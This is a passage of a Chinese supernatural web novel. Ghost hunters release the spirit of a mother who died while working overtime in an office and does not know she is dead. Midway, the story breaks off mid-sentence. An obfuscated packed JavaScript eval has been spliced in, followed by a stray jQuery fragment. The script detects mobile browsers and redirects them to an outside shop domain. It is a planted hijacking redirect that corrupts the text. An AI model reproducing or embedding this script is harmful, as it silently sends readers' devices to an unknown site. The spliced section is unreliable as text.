“那就是灵体存在的能量场,”霍岩说,“怨灵本身没有实体,但它的执念会向外辐射能量,影响周围的物理环境,你现在感受到的,就是这种辐射。”
十二楼,十三楼。
到了十三楼和十四楼之间的楼梯转角处,穆泽之停了下来,他举起一只手,示意所有人止步。
印墨予从他肩膀的缝隙处往前看,什么也没看到。
只有灰白色的墙壁,灰绿色的防火门,和头顶那盏忽明忽暗的声控灯。
但她的耳朵捕捉到了什么东西。
一个声音,很轻很细,像是在很远的地方有人在水下唱歌,所有的音节都被水泡包裹着,听不清内容。
只能感受到那种情绪的质地,悲伤的,绵长的,潮湿的,像梅雨季节的墙壁一样渗入骨髓的悲伤。
哭声。
印墨予的汗毛竖了起来。
“它在十四楼东南角的办公室里。”穆泽之的声音压得很低,但在这个安静的空间里,每一个字都像石头投入水中,激起一圈圈涟漪。
“陆薇霍岩,你们楼梯间待命,不要进入十四楼走廊。景舟,监测设备准备好,记录全过程。印墨予,你跟我进去。”
印墨予的心脏猛地跳了一下。
她跟在穆泽之身后,推开了十四楼的消防门。
走廊很长,一眼望不到头,两侧是一间间紧闭的办公室。
这里并非专供一家公司使用,而是由许多小规模的公司租赁的。
门牌和玻璃的贴条上有公司的名字——某某科技有限公司、某某文化传媒有限公司、某某法律咨询服务部。
天花板上是那种老式的长方形日光灯管,有的亮着,有的灭了。
亮着的那些也都在以一种不稳定的频率微微闪烁,即将短路一样,发出细微的电流声。
哭声越来越清晰了。
不是嚎啕大哭,是那种压抑克制的,像是用尽了全身力气才没让自己崩溃的啜泣。
靠近一些,能辨别出来声音是从走廊尽头倒数第二间办公室的方向传来。
穆泽之走在前面,步伐不紧不慢,像在散步。
印墨予跟在他身后大约三步远的地方,手心全是汗,但她注意到一件奇怪的事。
随着她离穆泽之越近,那种被能量场压迫的不适感就减轻了几分。
他像是一个移动的避风港,以他为中心,半径两米之内,那些让她难受的东西都被推开了。
她不知道这是因为他的能力,还是因为她对他的那种莫名其妙的生理反应起了某种保护作用。
穆泽之在那间办公室门口停了下来。
门是玻璃的,上面贴着一行字:“晨光创意文化有限公司”。
透过玻璃能看到里面的情形,一张长条会议桌,几把椅子,角落里有一台复印机,墙上挂着一些公司的资质证书和团建照片。
黑漆漆的,只有桌角一盏应急灯泛着幽绿微光,没有人在哭,也看不见任何人。
但哭声就是从里面传出来的。
穆泽之伸手推门,门锁咔嗒一声,应声而开。
他走了进去,印墨予跟在后面。
就在她跨过门槛的那一瞬间,穆泽之开口了。
“静心,凝神,观想。”他念的不是对她说的,而是对那个空间里的某种存在说的。
声音不大,但语调变了,变得低沉而富有韵律,像是一种古老的吟诵,每一个字都带着特殊的振动频率。
“诸相非相,执念为虚,此间已非汝所留之处,可愿放下?”
印墨予的脑子瞬间宕机。
不是平时那种“被牵引”的感觉,不是的,这一次要猛烈得多,猛烈十倍。
穆泽之的声音像一道电流,直接从她的耳膜贯穿到大脑深处,在她的意识深处点亮了一盏灯。
那盏灯的光芒像潮水一样涌出来,让她像是获得了某种全新的感知维度,眼前的空气先是泛起水波般的涟漪。
她看到了什么。
不是用眼睛看到的,她的眼睛还睁着,还能看到办公室的桌椅和窗户。
但在她的意识深处,另一幅画面正在展开,像一个被强行打开的文件夹,所有内容都被粗暴地倾倒在她的脑海里。
画面中心是一个看上去三十出头的女人,卷发,戴着蓝光眼镜,穿着一件米色的针织开衫。
坐在办公桌前,手指敲击着键盘,面前的电脑屏幕上是一份做了一半的PPT。
在屏幕微光的映照下,她的表情是疲惫的,但嘴角微微上扬着。
是因为她的手机正开着免提放在桌上,里面传来清亮的童声:“妈妈,你什么时候回来呀,今天幼儿园留了作业要画一幅画,我画的是你,还戴着一个好大的水晶皇冠!”
“妈妈加完班就回来,宝宝乖,先跟奶奶睡觉好不好?”女人的声音温柔而沙哑。
“我不要睡觉!我要等妈妈回来!”女孩撒着娇。
“那妈妈答应你,一定回来给你讲睡前故事,好不好?”
“好呀,妈妈要快点回来哦,拉钩!”
“拉钩。”
电话挂断了,女人靠在椅背上,闭上眼睛短暂休息,用力地揉了揉太阳穴。
窗外是城市的夜景,万家灯火,但在这间小小的办公室里,只有她一个人。
她深吸一口气,重新坐直,继续做PPT。
画面跳转。
同一个女人,同一个办公室,但时间是凌晨。窗外的天已经有些微微发白了。
她趴在桌上睡着了,手机屏幕亮着,上面是一条编辑了一半没有发出去的消息:“老公,我今晚不回来了,你记得跟宝宝讲……”
消息没有打完。她的手指悬在发送键上方,再也没有按下去。
印墨予看到她的身体在微微发光,不是物理意义上的光,而是一种透明的,流动的能量。
那些能量正在从她的身体里一点一点地飘散出来,像雾气从湖面上升起,又悄悄散尽了。
然后她醒了。
女人坐起来,茫然地看着四周,好像不太明白自己为什么在这里,为什么这么困,为什么身体这么沉。
她拿起手机,看了看那条没发完的消息,删掉了,重新打了一行:“今天加班太晚了,我在公司睡了,明天早上直接去客户那边,你们不用等我。”
发送。
然后她站起来,像往常下班那样,收拾东西,关灯,走出了办公室。
走廊里很安静,日光灯在闪烁。她走向电梯,按了下楼的按钮。
电梯门打开,她走进去,门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745085|209255||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
关上。
画面消失了。
印墨予回过神来的时候,发现自己眼泪不知道什么时候流了下来,嘴角都是咸的。
办公室里的哭声停了。
穆泽之转头看向她,眉头微微蹙着,他没有说话,但从他的表情里,印墨予读出了一句话:你看到了?
“我看到了。”印墨予说,声音嘶哑,“她不是怨灵。她不是来害人的。”
穆泽之走近一步,身子稍稍压低了些,与她平视。
他抬了抬手,指尖悬停在她肩头,没有落下,只是拿出纸巾递到她面前。
“你看到了什么?”他问,声音恢复了正常的语调,但比平时轻了很多,像怕惊动什么一样。
印墨予用纸巾擦了擦脸,努力让自己冷静下来。
她把自己看到的画面,那个在深夜加班的母亲,那个在电话里等妈妈回家的孩子,那条没发出去的消息……
一五一十地告诉了穆泽之。
穆泽之听完,沉默了几秒。
然后他站起来,走向办公室的角落。
印墨予跟着他的目光看过去,在靠窗的位置,有一个人的轮廓正在空气中缓缓浮现。
不是实体,更像是空气中的水汽凝结成了一个透明的形状,在光晕中折射出淡淡的银白色光芒。
那个女人坐在一张椅子上,姿势跟印墨予在画面中看到的一模一样。
身体微微前倾,双手交叠在桌上,头低垂着,像是在沉睡,又像是在等待。
印墨予不知道为什么,但她能感觉到,这个灵体已经在这里等了很久了。
不是几天,不是几周,而是许多年。
她等在这里,每个深夜醒来,在空无一人的办公室里哭泣,因为她不知道自己已经死了,不知道那个答应女儿要回家讲故事的她,再也回不去了。
“她的执念是什么?”印墨予问。
印墨予张了张嘴,答案就在嘴边,呼之欲出。
“她的家人。”印墨予说,“她答应了要回去的。”
穆泽之看着那个灵体,沉默了很长时间。
然后他走到窗边,伸手推开了窗户。
夜风灌进来,带着城市夜晚特有的气息,汽车尾气,烧烤摊的烟火,人行道上的梧桐树叶被晒了一整天后散发出的干燥气味。
“她的女儿今年应该已经上初中了。”穆泽之说,声音很轻,但每一个字都清晰地落在这个小小的空间里。
“她长得很高,在学校里成绩很好,画画尤其出色。她画过很多画,画里有她的妈妈,戴着皇冠,穿着漂亮的裙子,站在彩虹下面。”
印墨予愣住了,看着穆泽之,他怎么会知道这些?
穆泽之没有解释,继续对着那个灵体说:“你的女儿每年生日都会许一个愿望,希望妈妈在另一个世界过得好。”
“她从来没有怪过你,从来没有因为那天晚上你没有回家而怨恨过你,她只是想你,希望你平安,希望你快乐,不论身处何地。”
灵体的轮廓微微颤动了一下,像水面被风吹皱。
“你已经不需要再守在这里了。”穆泽之说,“你的女儿已经长大了,她很好,健康快乐,你答应她的睡前故事,她已经在无数个夜晚自己给自己讲过了。所以,你可以走了。”